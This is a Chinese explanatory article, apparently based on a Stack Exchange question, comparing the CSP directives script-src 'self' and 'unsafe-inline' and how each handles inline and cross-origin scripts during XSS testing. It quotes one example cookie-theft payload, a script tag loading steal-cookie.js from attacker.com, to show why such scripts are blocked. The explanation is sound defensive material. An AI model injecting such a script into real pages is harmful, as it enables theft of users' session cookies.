配置Content-Security-Policy时'self'与'unsafe-inline'有何区别?
CSP的核心防护逻辑
Content-Security-Policy(CSP)是部署在Web服务器上、由浏览器强制执行的白名单安全规则,核心作用是提前告知浏览器:哪些来源的脚本资源是被允许执行的,不在规则范围内的脚本会被直接阻断,不会进入执行流程。这套机制刚好能从执行环节切断XSS攻击的利用链——哪怕攻击者能把恶意JS文本注入到页面DOM里,只要JS不符合CSP的放行规则,就完全没法运行。
两个CSP规则值的具体定义
你测试用到的两个配置项,对应的放行范围边界非常明确:
script-src 'self'
这条规则表示:浏览器只允许执行和当前网站同源的外部JS文件,也就是存放在你自己Web服务器域名下、通过正式外链引用的业务脚本。除此之外,所有其他来源的脚本——包括跨域的外部JS、直接嵌在HTML里的内联JS、写在DOM事件属性(如onerror、onclick)里的JS——全部会被拦截。script-src 'unsafe-inline'
这条规则表示:浏览器专门放行所有直接内嵌在HTML代码里的JS逻辑,包括写在<script>标签里的代码、写在标签事件属性里的代码。但这条规则本身不对任何外部JS(不管是你自己服务器的,还是攻击者服务器的)做放行。
两个配置的异同点
相同点
两者都没有对跨域来源的外部脚本做任何放行:
攻击者用来窃取Cookie的典型XSS payload,通常是注入一个指向自身恶意域名的外链脚本(比如<script src="https://attacker.com/steal-cookie.js">),用来加载存放在攻击者服务器上的窃密逻辑。这类跨域外部脚本不管在哪个规则下,都不在允许范围内,所以会被直接拦截,根本没法完成Cookie窃取的流程——这也是你观察到两个配置都能阻止Cookie窃取行为的核心原因。
不同点
两者对内联脚本、同源外部脚本的处理逻辑完全相反:
- 对内联脚本的拦截逻辑:
'self'默认拦截所有内联JS代码,哪怕是攻击者直接注进页面的短内联代码,也会被浏览器阻断;'unsafe-inline'默认放行所有内联JS代码,不管是原本业务代码里的内联逻辑,还是攻击者注入的内联恶意代码,都会被正常执行。 - 对同源外部脚本的处理逻辑:
'self'会正常放行你自己服务器上的业务JS文件,不会影响网站正常功能;
单独使用'unsafe-inline'时,因为没有对同源外部脚本做任何放行,你自己网站上原本正常引用的业务JS文件也会被拦截,导致页面功能失效。
你观察到的效果差异的根本原因
两类测试payload的注入形式不同,刚好对应了两个规则的放行边界:
- 窃取Cookie的恶意脚本多为跨域外链形式
这类脚本的加载请求指向攻击者的域名,完全超出两个规则的放行范围,所以无论用哪个配置,脚本都会被拦截,无法完成窃密。 - alert(1)这类XSS漏洞验证payload多为纯内联形式
这类payload不需要加载外部资源,直接把短代码嵌在页面DOM里:- 配置
'self'时,因为规则没有放行内联脚本的权限,这段内联的alert代码会被浏览器直接拦截,没法弹出提示框; - 配置
'unsafe-inline'时,因为规则专门放行内联脚本,这段alert代码会被正常执行,自然就挡不住这类注入行为。
- 配置
内容的提问来源于stack exchange,提问作者Fluctuation23
相关产品推荐
相关产品推荐

